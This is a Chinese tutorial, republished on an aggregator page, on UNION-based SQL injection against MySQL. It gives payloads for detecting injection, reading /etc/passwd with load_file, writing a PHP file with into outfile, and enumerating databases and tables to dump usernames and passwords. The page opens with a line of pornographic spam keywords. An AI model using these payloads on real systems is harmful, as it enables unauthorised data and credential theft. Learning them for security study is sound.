日韩av黄I国产麻豆传媒I国产91av视频在线观看I日韩一区二区三区在线看I美女国产在线I麻豆视频国产在线观看I成人黄色短片

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 >

sql注入-union select

發布時間:2025/3/21 30 豆豆
生活随笔 收集整理的這篇文章主要介紹了 sql注入-union select 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

什么是SQL注入

SQL注入(Sql Injection )

  • 是一種將SQL語句插入或添加到應用(用戶)的輸入參數中的攻擊
  • 這些參數傳遞給后臺的SQL數據庫服務器加以解析并執行
  • 哪里存在SQL注入?

    • GET
    • POST
    • HTTP頭部注入
    • Cookie注入

    任何客戶端可控,傳遞到服務器的變量,并且和數據庫進行交互,都有可能存在sql注入。

    SQL注入的分類

  • 根據SQL數據類型分類
    • 整型注入
    • 字符串類型注入
  • 根據注入的語法分類
    • UNION query SQL injection(可聯合查詢注入)
    • Error-based SQL injection(報錯型注入)
    • Boolean-based blind SQL injection(布爾型注入)
    • Time-based blind SQL injection(基于時間延遲注入)
    • Stacked queries SQL injection(可多語句查詢注入)

    如何去判斷SQL注入漏洞

    • and 1=1 / and 1=2 回顯頁面不同(整形判斷)
    • 單引號判斷 ‘ 顯示數據庫錯誤信息或者頁面回顯不同(整形,字符串類型判斷)
    • \ (轉義符)
    • -1/+1 回顯下一個或上一個頁面(整型判斷)
    • and sleep(5) (判斷頁面返回時間)

    MySQL數據庫的特性

    MySQL中3種注釋風格
    • # (url編碼為%23)

    • – (–后邊要跟上一個或多個空格 --+)

    • /* … */

    • /*! … */ 內聯注釋

      select * /!22222from/ users;(注:22222低于數據庫版本號(5[0].7.20)就可顯示from)

    MySQL函數利用
    常用函數
    • user()
    • database()
    • @@version
    • session_user()
    • @@basedir
    • @@datadir
    • @@version_compile_os
    load_file( )函數 讀文件操作

    前提

    • 知道文件絕對路徑
    • 能夠使用union查詢
    • 對web目錄有寫權限

    UNION SELECT 1,load_file(’/etc/passwd’),3,4,5,6#
    UNION SELECT 1,load_file(0x2f6574632f706173737764),3,4,5,6#

    into outfile( )寫文件操作

    前提

    • 文件名必須全路徑(絕對路徑),
    • 用戶必須有寫文件的權限
    • 沒有對 ‘ 引號過濾

    SELECT ‘<?php phpinfo(); ?>’ into outfile ‘c:\Windows\tmp\1.php’

    連接字符串函數
    • concat(str1,str2)
    • concat_ws(separator, str1,str2…)
    • group_concat(str1,str2…)
    MySQL中information_scheme庫

    SCHEMATA表
    字段:SCHEMA_NAME
    TABLES表
    字段:TABLE_SCHEMA, TABLE_NAME
    COLUMNS表
    字段:TBALE_SCHEMA,TABLE_NAME,COLUMN_NAME

    MySQL中UNION規則
    • UNION必須由兩條或兩條以上的SELECT語句組成,語句之間用關鍵字UNION分隔
    • UNION中的每個查詢必須包含相同的列。
    • UNION會從查詢結果集中自動去除了重復行。
    • UNION query SQl injection

    利用前提

  • 頁面上有顯示位

    優點:
    方便、快捷、易于利用
    缺點:
    需要顯示位

  • 步驟

  • 判斷列數

    order by 10
    order by 20
    order by 15

  • 判斷顯示位

    url?id=-1 union select 1,2,3,4,5

  • 獲取當數據庫名稱和當前連接數據庫的用戶

    url?id=-1 union select 1,2,databaes(),4,5
    url?id=-1 union select 1,2,user(),4,5

  • 列出所有數據庫

    limit 一個一個打印出來庫名
    select SCHEMA_NAME from information_schema.SCHEMATA limit 0,1
    group_concat 一次性全部顯示
    select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA

  • 列出(數據庫:test)中所有的表

    limit 一個一個打印出來字段名
    select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=‘test’
    limit 0,1
    group_concat 一次性全部顯示
    select group_concat(TABLE_NAME) from information_schema.TABLES where
    TABLE_SCHEMA=0x674657374
    注意:數據庫名稱可以用十六進制來代替字符串,這樣可以繞過單引號的限制。

  • 列出(數據庫:test 表:admin )中所有的字段

    limit 一個一個打印出來
    select COLUMN_NAME from information_schema.COLUMNS where
    TABLE_SCHEMA=‘baji’ and TABLE_NAME=‘users’ limit 0,1
    group_concat 一次性全部顯示
    select group_concat(COLUMN_NAME) from information_schema.COLUMNS where
    TABLE_SCHEMA=0x74657374 and TABLE_NAME=0x61646d696e

  • 列出(數據庫:test 表:admin )中的數據

    limit 一個一個打印出來
    select username,passwd from test.admin limit 0,1
    group_concat 把 一次性全部打印
    select group_concat(concat(username,0x20,passwd)) from test.admin
    network

  • 總結

    以上是生活随笔為你收集整理的sql注入-union select的全部內容,希望文章能夠幫你解決所遇到的問題。

    如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。